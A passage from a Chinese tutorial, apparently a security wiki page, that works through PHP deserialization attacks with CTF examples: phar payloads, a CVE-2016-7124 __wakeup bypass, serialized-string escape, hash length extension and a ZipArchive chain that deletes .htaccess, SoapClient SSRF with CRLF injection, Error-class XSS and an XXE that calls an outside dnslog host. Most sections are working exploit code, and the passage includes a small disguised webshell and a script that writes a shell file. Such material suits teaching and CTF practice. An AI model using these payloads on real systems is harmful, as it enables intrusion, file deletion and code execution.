//利用$this->str['str']->source; $phar = new Phar("joker.phar"); //.phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($clear); //触发的头是C1e4r类,所以传入C1e4r对象 $phar->addFromString("test.txt", "test"); //生成签名 $phar->stopBuffering(); ?> ``` 在本地环境中生成phar文件:  本题没有对upload/目录做处理可以直接访问,由于对上传文件的后缀有检测,需要改为gif后缀,上传获取文件名  回到file.php页面,使用phar://伪协议解析上传的phar伪造的文件: ``` /file.php?file=phar://upload/46641c37ef2c8d2bd68ab582fdb25732.jpg ``` 得到base64加密内容  flag到手 # 5 **CVE-2016-7124 绕过__wakeup()的反序列化** ## 1 **漏洞版本** php5 < 5.6.25 | php7 < 7.0.10 ## 2 **漏洞原理** 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 ## 3 **Demo演示** demo.php ``` <?php class Test { public $name = 'joker'; function __destruct() { echo 'Bypass'; } function __wakeup() { echo 'fail '; } } $payload = $_GET['a']; unserialize($payload); ?> ``` payload: ``` /demo.php?a=O:4:"Test":1:{s:4:"name";s:5:"joker";} ```  bypasspayload: ``` /demo.php?a=O:4:"Test":2:{s:4:"name";s:5:"joker";} ```  对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行 ## 4 **CTF小例** ``` <?php class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else die('Wrong filename.'); } } function __wakeup(){ $this-> file='index.php'; } public function __toString(){ return '' ; } } if (!isset($_GET['file'])){ show_source('index.php'); } else{ $file=base64_decode($_GET['file']); echo unserialize($file); } ?> #<!--key in flag.php--> ``` 通读一下源码,发现可以通过__destruct方法中show_source(dirname (__FILE__).'/'.$this ->file);读flag.php文件,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize()之前执行,所以要绕过这一点。 这里就要用到CVE-2016-7124漏洞,**当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行** 因为变量$file是protect属性,所以需要加上\x00*\x00。(不明白的可以看上面对修饰符的解释) 构造序列化对象: ``` O:5:"SoFun":1:{s:7:"\x00*\x00file";s:8:"flag.php";} ``` 绕过__wakeup: ``` O:5:"SoFun":2:{s:7:"\x00*\x00file";s:8:"flag.php";} ``` 再经过base64编码就可以得到payload:  ``` Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9 ```  当然也可以直接使用16进制编码的方式生成payload,不过需要大写S ``` O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";} ``` 直接base64编码 ``` Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ== ```  # 6 **PHP反序列化对象逃逸** ## 1 **逃逸原理** 在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,例如: ``` <?php $str='a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}'; var_dump(unserialize($str)); ?> ```  > **反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行**。 比如在$str结尾的花括号后增加一些字符: ``` <?php $str='a:2:{i:0;s:7:"bmjoker";i:1;s:4:"haha";}qwe123'; var_dump(unserialize($str)); ?> ```  明白了上面的,就再看一个例子 ``` <?php $_SESSION["user"]='flagflagflagflagflagflag'; $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn'; echo serialize($_SESSION); ?> ```  得到的序列化字段为: ``` a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} ``` 这里如果增加了过滤机制,会将flag字段替换为空,那么上面序列化字符串过滤结果为: ``` a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";} ``` 如果将上面过滤之后的字符串进行反序列化,会不会报错呢? ``` <?php $_SESSION["user"]='flagflagflagflagflagflag'; $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn'; $ser = serialize($_SESSION); var_dump(unserialize($ser)); echo "-----------------------\n"; $filter = preg_replace("/flag/i",'',$ser); var_dump(unserialize($filter)); ?> ```  打印出了过滤前与过滤后的反序列化字符串,对比就可以发现当把flag过滤之后,string(24)规定需要24个字符,为了满足反序列化的规则,会向后读取字符,直至凑齐24个字符,也就是读取";s:8“function”;s:59:"a,当凑齐24个字符后以 "; 结尾。之后["img"]就按照string(20)读取20个字符,["dd"]按照string(1)读取一个字符,剩余的字符就直接被忽略,不影响正常的反序列化过程。 写成数组的形式为: ``` $_SESSION["user"]='";s:8:"function";s:59:"a'; $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; $_SESSION["dd"]='a'; ```  看完上面的例子,发现本来想读取的内容是$\_SESSION["img"]的值为:L2QwZzNfZmxsbGxsbGFn,但是由于过滤掉了flag,string(24)位数不够往后读取,就把$\_SESSION["function"]的值的前24位存放在$\_SESSION["user"]中,把$\_SESSION["funcion"]的值的后20为存放在$\_SESSION["img"]中,导致ZDBnM19mMWFnLnBocA==代替了$\_SESSION["img"]对应的原本的值。而识别完成后序列化最后面的";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}被忽略掉了,不影响正常的反序列化过程。 可以看到本例中$_SESSION["img"]对应的值发生了变化。这样的话岂不是可以做到"隔山打牛",如果我们能够控制原来$_SESSION数组的funcion的值,但无法控制img的值,我们就可以通过这种方式间接控制到img对应的值。 ## 2 **CTF实例** 这里选择安洵杯2019这道题目:[easy_serialize_php](https://buuoj.cn/challenges#[安洵杯 2019]easy_serialize_php) 题目源码:  代码中有提示"maybe you can find something in here",先来看一下phpinfo()中有哪些有用的信息:  可以看到这里藏了一个文件d0g3_f1ag.php,需要分析代码来构造反序列化链读取文件。 起点就是当$function=='show_image'时,调用了文件读取函数file_get_contents(),变量为$userinfo['img'],调用过程为 ``` $userinfo['img'] <-- unserialize($serialize_info) <-- filter(serialize($_SESSION)) ``` 可以看到最后是先对$_SESSION进行序列化,然后传进filter方法进行对php,flag,php5,php4,fl1g字段进行过滤,然后再进行反序列化。这会导致构造的序列化的数据不完整,导致反序列化失败。 **先来看第一种payload(键逃逸):** 需要一个键值对就行了,直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独的键值对 ``` _SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} ``` 通过POST方法传递,经过extract($_POST)进行变量覆盖。但是这个extract的位置比较刁钻,如果放在$serialize_info=上一行,直接通过变量覆盖$_SESSION["img"]就可以读取d0g3_f1ag.php文件,但是放在if(!$function){上面的话就导致,我们的可控参数只有$_SESSION["user"],$_SESSION["function"]。 这样就只能"隔山打牛",结合题目对一些字符的过滤,使用上面的逃逸方法,实现参数替换。 打印出上述payload在序列化之前 - 序列化之后 - 过滤之后的状态:  filter过滤之后: ``` a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} ``` 由于对字符fl1gfl1g替换为空,第一个s需要往后读8个字符,也就是";s:51:",紧接着就是第二个s需要往后读8个字符,也就是aaa,紧接着就是img对应读取20个字符,也就是ZDBnM19mMWFnLnBocA==,' } '括号后面的内容就被忽略,不会影响反序列化结果 所以反序列化之后的结果为: ``` array '";s:51:"' => string 'aaa' (length=3) 'img' => string 'ZDBnM19mMWFnLnBocA==' (length=20) ``` 此时$userinfo['img'] = ZDBnM19mMWFnLnBocA==,成功读取/d0g3_fllllllag文件:  **第二种payload(值逃逸):** 需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对 ``` _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";} ``` 打印出上述payload在序列化之前 - 序列化之后 - 过滤之后的状态:  filter过滤之后: ``` a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} ``` 同上一个payload原理差不多,会吃掉后面的字符,只不过这次在值上,上一个payload是在键上吃了后面的值,反序列化结果如下: ``` array 'user' => string '";s:8:"function";s:59:"a' (length=24) 'img' => string 'ZDBnM19mMWFnLnBocA==' (length=20) 'dd' => string 'a' (length=1) ```  # 7 **PHP原生类序列化** ## 1 **php中的原生类** 以下内容参考于l3m0n大佬的《[反序列化之PHP原生类的利用](https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html)》 使用以下脚本打印出php本身内置类: ``` <?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { echo $class . '::' . $method."<br>"; } } } ``` 在php5.3之前版本打印的结果如下:  在php5.3版本之后打印的结果如下:  对比明显看到php5支持的内置类更多一点。但是有些类不能够进行反序列化,因为php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候: ``` <?php $dir = new DirectoryIterator('/'); echo serialize($dir); ?> ``` php5.3版本之前:  php5.3版本之后:  ## 2 原生类利用之ZipArchive::open() **ZipArchive::open介绍** 官方手册中这样介绍  ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件,该特性在一定条件下可以用于删除文件,当然前提是存在open函数来进行触发。  本地进行创建demo进行测试,为了测试效果使用两个file_exists判断文件状态: ``` <?php $a = new ZipArchive(); var_dump(file_exists('1.txt')); $a->open('1.txt',ZipArchive::OVERWRITE); var_dump(file_exists('1.txt')); ?> ```  运行代码:  可以看到当ZipArchive::open()的第二个参数为ZipArchive::OVERWRITE,会把指定文件删除。 **CTF实例理解** 下面以ByteCTF的EzCMS为例来加深一下印象。 代码地址:https://github.com/glzjin/bytectf_2019_ezcms 本地使用docker搭建环境  访问www.zip获取源码: ``` http://192.168.127.141:8302/www.zip ``` 先来看index.php  接收POST传递过来的username,password参数,只要password不等于"admin",就把username,password存放进SESSION中。这就算登陆成功了??? 看到最上面include('config.php');,下面的if判断又调用了login()方法,来看一下代码  这里设置了一个名叫hash的cookie,值为md5($secret."adminadmin")。 随便输入账号密码登录(admin/123),抓取数据包:  通过数据包中Cookie的hash字段,可以得到 ``` md5($secret."adminadmin") = 52107b08c0f3342d2153ae1d68e6262c ``` 继续往下看,发现登录成功就跳转到upload.php页面,但是上传文件会失败,显示不是admin  直接来看下upload.php代码  这里看到包含了config.php文件,并且实例化了一个Admin类的对象来处理上传的文件,来看一下具体的实现  这里设置了upload_dir = sandbox/md5($_SERVER['REMOTE_ADDR']);,并且在上传目录下创建.htaccess文件,并写入相关内容。 终于找到上传失败的罪魁祸首,在调用upload_file()上传文件的时候会先校验$this->checker是否为True,而$this->checker又是Profile类中is_admin()方法的返回值。 跟进查看is_admin()方法:  当满足: 1. username = "admin" && password != "admin" 2. $_COOKIE['user'] === md5($secret.$this->username.$this->password) 结合上面的 ``` md5($secret."adminadmin") = 52107b08c0f3342d2153ae1d68e6262c ``` 可以使用哈希长度扩展攻击来绕过获取$secret的步骤,直接获取password > 哈希长度扩展攻击是利用了 md5、sha1 等加密算法的缺陷,适用于加密情况为:hash($SECRET, $message)的情况,其中 hash 最常见的就是 md5、sha1。可以在不知道$SECRET的情况下推算出另外一个匹配的值 > > > > 具体参考:https://blog.csdn.net/syh_486_007/article/details/51228628 > > https://www.cnblogs.com/pcat/p/5478509.html 这里由于不知道$secret的长度,只能依次将长度+1然后生成exp。登陆上传。当测试到第13个的时候就成功了  或者直接 ``` hashpump -s 571580b26c65f306376d4f64e53cb5c7 -d admin -k 13 -a pcat ``` 用hashpump写个脚本: ``` import requests,hashpumpy,urllib def webre(): sha='52107b08c0f3342d2153ae1d68e6262c' string0='admin' string1='pcat' for i in range(15): digest,message=hashpumpy.hashpump(sha,string0,string1,i) role=urllib.quote(message[::]) hsh=digest payload={'post':role,'hash':hsh} print(i,payload) webre() ``` 最后得到 ``` username:admin password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admin $_Cookie['user'] = 7e6270e35bf7b74982d8fff6382b5048 ``` 访问index.php,使用上面的username,password重新登陆。在浏览器中设置cookie中user的字段,尝试上传1.php  成功上传 同时也会看到上传目录下的.htaccess文件,里面的内容为:lolololol, i control all,这导致上传的php文件无法解析,比如访问刚刚上传的php文件  考虑是否可以通过反序列化链删除/重写.htaccess文件,或者修改文件的上传路径。 继续看upload_file()方法,发现当使用is_admin()判断完后,又调用了一个check()方法  是对上传文件的内容进行检测,如果出现system,eval,assert这类危险字段,程序就会报错退出。但是由于是黑名单校验,简单变形即可绕过。 继续看一下view.php文件  发现使用GET方法获取前端传进来的filename,filepath,实例化一个File类的对象,将解码后filename,filepath传入类中,并调用view_detail方法。 跟进File这个类  view_detail方法会先检测传进来的filepath是否以phar,compress,zip...等字段开头。接下来使用mime_content_type来检测文件mime类型。问题点就在这里触发,因为mima_content_type可以使用phar://触发phar反序列化(https://xz.aliyun.com/t/6057)。 虽然前面禁止phar出现在url开头,但是可以用php://filter/resource=phar://绕过  既然可以进行反序列化,现在就需要寻找一条利用链来操控.htaccess文件。 先来搜索类中可用魔术方法,在config.php文件的Profile类中发现魔术方法__call(),里面实例化一个admin对象去调用open方法。这个时候就需要寻找包含open方法的内置类,在上面我们提到 ``` ZipArchive::open()在PHP>=5.2.0的时候可以使用,其中flag参数如果设置为ZipArchive::OVERWRITE时,会删除指定文件 ``` 可以通过ZipArchive类调用open方法,并设置flag参数为ZipArchive::OVERWRITE来删除.htaccess文件,尝试来构造一个POP链: 1. Profile类中open方法在魔术方法__call内被$this->admin调用,存在同名open方法被php内置类ZipArchive调用,利用此类下的open方法可以作文件删除。此时就需要把admin赋值为ZipArchive类的对象,并构造第一个参数为要删除的文件路径,第二个参数为ZipArchive::OVERWRITE ``` $this->admin = new ZipArchive() $this->username = "/var/www/html/sandbox/9106f3386017f844885379f269eb2bff/.htaccess"; $this->password = ZIPARCHIVE::OVERWRITE; ``` 2. __call()方法在在对象调用不可访问的方法时触发,在File类中的析构函数中存在$this->checker = upload_file(),当给checker赋值为Profile类的对象,此时调用upload_file(),由于函数不存在。那么就会触发__call魔术方法 ``` $this->checker = new Profile() ``` 最终的调用链为: ``` Profile::open() <-- Profile::__call <-- File::__destruct ``` 从view.php文件中获取用户输入,并且实例化File类的对象调用view_detail()方法,在使用mimi_content_type()检测上传文件头时,会对参数$this->filepath进行phar://反序列化,先来构造一个包含序列化payload的phar文件 ``` <?php class File{ public $filename; public $filepath; public $checker; function __construct($filename, $filepath) { $this->filepath = $filepath; $this->filename = $filename; $this->checker = new Profile(); } } class Profile{ public $username; public $password; public $admin; function __construct() { $this->username = "/var/www/html/sandbox/9106f3386017f844885379f269eb2bff/.htaccess"; $this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE; $this->admin = new ZipArchive(); } } $a = new File('filename','filepath'); @unlink("joker.phar"); $phar = new Phar("joker.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($a); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> ```  将生成的joker.phar上传上去  将构造的变形小马1.php传上去 ``` <?php $a = $_GET['a']; $b = $_GET['b']; $array[0] = $b; $c = array_map($a,$array); ?> ```  访问上传上去的phar文件,这里需要注意在view_detail()方法中对filepath进行检测,禁止phar开头,需要使用php://filter/resource=phar://...../xxxx.phar绕过  触发反序列化链删除.htaccess文件 访问上传上去的小马文件  发现成功解析php文件,并获取flag ## 3 **原生类利用之SoapClient::__call** **SoapClient::__call** > SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。 > > 其采用HTTP作为底层通讯协议,XML作为数据传送的格式 > > SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。 官方手册中这样介绍  ``` public SoapClient :: SoapClient (mixed $wsdl [,array $options ]) ``` 第一个参数为wsdl文件的uri,如果是NULL意味着不使用WSDL模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。  php中的SoapClient类可以创建soap数据报文,在非wsdl模式下,SoapClient的实例反序列化的时候会对第二个参数指明的url进行soap请求,那就意味着可以通过该内置类来进行SSRF。 因为SoapClient类中提供了一个魔术方法__call(),这个魔术方法在对象中调用不可访问的方法时触发  测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法 (如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项) ``` <?php $a = new SoapClient(null,array('uri'=>'xxx', 'location'=>'http://127.0.0.1:5555/yyy')); $b = serialize($a); echo $b; $c = unserialize($b); $c->not_exists_function(); ?> ```  当把上述脚本得到的序列化串进行反序列化(unserialize),并执行一个SoapClient没有的成员函数时,会自动调用该类的__Call方法,然后向target_url发送一个soap请求,并且uri选项是我们可控的地方。 在使用SoapClient类也会有CRLF注入的问题  可以看到options参数中还有一个选项为user_agent,运行我们自己设置User-Agent的值。 当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。 简单进行测试 ``` <?php $a = new SoapClient(null,array('uri'=>"xxx\r\n\r\nzzz\r\n", 'location'=>'http://127.0.0.1:5555/yyy')); $b = serialize($a); echo $b; $c = unserialize($b); $c->not_exists_function(); ?> ```  最后给出wupco师傅的生成任意POST报文的POC: ``` <?php $target = 'http://123.206.216.198/bbb.php'; $post_string = 'a=b&flag=aaa'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: xxxx=1234' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^','%0d%0a',$aaa); $aaa = str_replace('&','%26',$aaa); echo $aaa; ?> ``` 如果是GET请求的话,那么构造好location就行: ``` <?php $url = "http://127.0.0.1/flag.php"; $b = new SoapClient(null, array('uri' => $url, 'location' => $url)); $a = serialize($b); $a = str_replace('^^', "\r\n", $a); echo "|" . urlencode($a); ?> ``` **利用场景:** demo.php ``` <?php if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){ echo 'hi'; @$a=$_POST[1]; @eval($a); } ?> ``` exp.php ``` <?php $target= 'http://127.0.0.1/demo.php'; $post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");'; $headers= array( 'X-Forwarded-For:127.0.0.1', 'Cookie:admin=1' ); $b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx")); //因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求 $aaa= serialize($b); $aaa= str_replace('^^','%0d%0a',$aaa); $aaa= str_replace('&','%26',$aaa); echo $aaa; $x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送 $x->no_func(); ?> ``` 直接访问exp.php就可以成功把payload写入到shell.php文件。  ## 4 **原生类利用之Error/Exception** **Error(php7)/Exception(php5,php7)** Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个__toString()魔术方法。 Exception类跟Error类原理一样,但是适用于PHP7,PHP5。 **测试demo** ``` <?php $a = unserialize($_GET['a']); echo $a; ?> ``` 调用Error类生成xss序列化payload: ``` <?php $a = new Error("<script>alert(1)</script>"); echo urlencode(serialize($a)); #注意版本是PHP7 ?> ``` 得到编码后的序列化结果: ``` O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D ``` 传入上述序列化参数  调用Exception类生成xss序列化payload: ``` <?php $a = new Exception("<script>alert(1)</script>"); echo urlencode(serialize($a));?> ``` 得到编码后的序列化结果: ``` O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D ``` 传入上述序列化参数  ## 5 **原生类利用之SimpleXMLElement** 利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。 > [SimpleXMLElement ](https://www.php.net/manual/en/class.simplexmlelement.php):(PHP 5, PHP 7) > > 功能 :用来表示XML文档中的元素,为PHP的内置类。 直接传入一个包含恶意payload的XML代码即可。 ``` <?php $xml = <<<EOF <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE ANY [ <!ENTITY % remote SYSTEM "http://bmjoker.haaf9g.dnslog.cn">%remote;]> ]> <x>&xee</x> EOF; $xml_class = new SimpleXMLElement($xml, LIBXML_NOENT); var_dump($xml_class); ?> ``` 访问php文件,即可造成xxe攻击  # 8 **参考链接** 《[原理+实践掌握(PHP反序列化和Session反序列化)](https://xz.aliyun.com/t/7366#toc-6)》 《[php反序列化利用——POP链构造实例](https://www.jianshu.com/p/16c56bebc63d)》 《[PHP session 常见利用点](https://xz.aliyun.com/t/8221#toc-7)》 《[PHP反序列化入门之session反序列化](https://blog.csdn.net/weixin_44304686/article/details/91539645)》 《[最全的PHP反序列化漏洞的理解和应用](https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw)》 《[利用session.upload_progress进行文件包含和反序列化渗透](https://www.freebuf.com/news/202819.html)》 《[PHP反序列化漏洞入门](https://mp.weixin.qq.com/s/JvjbXJruJ17PyYIh0PY2ZA)》 《[PHP序列化反序列化漏洞总结](https://blog.csdn.net/qq_45521281/article/details/105891381)》 《[利用phar伪协议构造php反序列化漏洞](https://www.bdwms.com/?p=474)》 《[Phar与Stream Wrapper造成PHP RCE的深入挖掘](https://blog.zsxsoft.com/post/38)》 《[php反序列化总结](http://p0desta.com/2018/04/01/php反序列化总结/#php-session反序列化)》 《[安洵杯2019 官方Writeup(Web/Misc) - D0g3](https://xz.aliyun.com/t/6911#toc-3)》 《[Bytectf2019-ezcms](https://liotree.github.io/2019/09/13/Bytectf2019-ezcms/)》 《[SoapClient反序列化SSRF](https://blog.csdn.net/qq_38154820/article/details/106330082)》 《[PHP反序列化进阶学习与总结](https://xz.aliyun.com/t/6454#toc-11)》 《[php反序列化由浅到深](https://xi4or0uji.github.io/2019/06/27/php反序列化由浅到深/#)》 # php反序列化从入门到放弃(放弃篇) https://wiki.xazlsec.com/project-12/doc-968/
myh0st
2022年3月13日 20:34
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码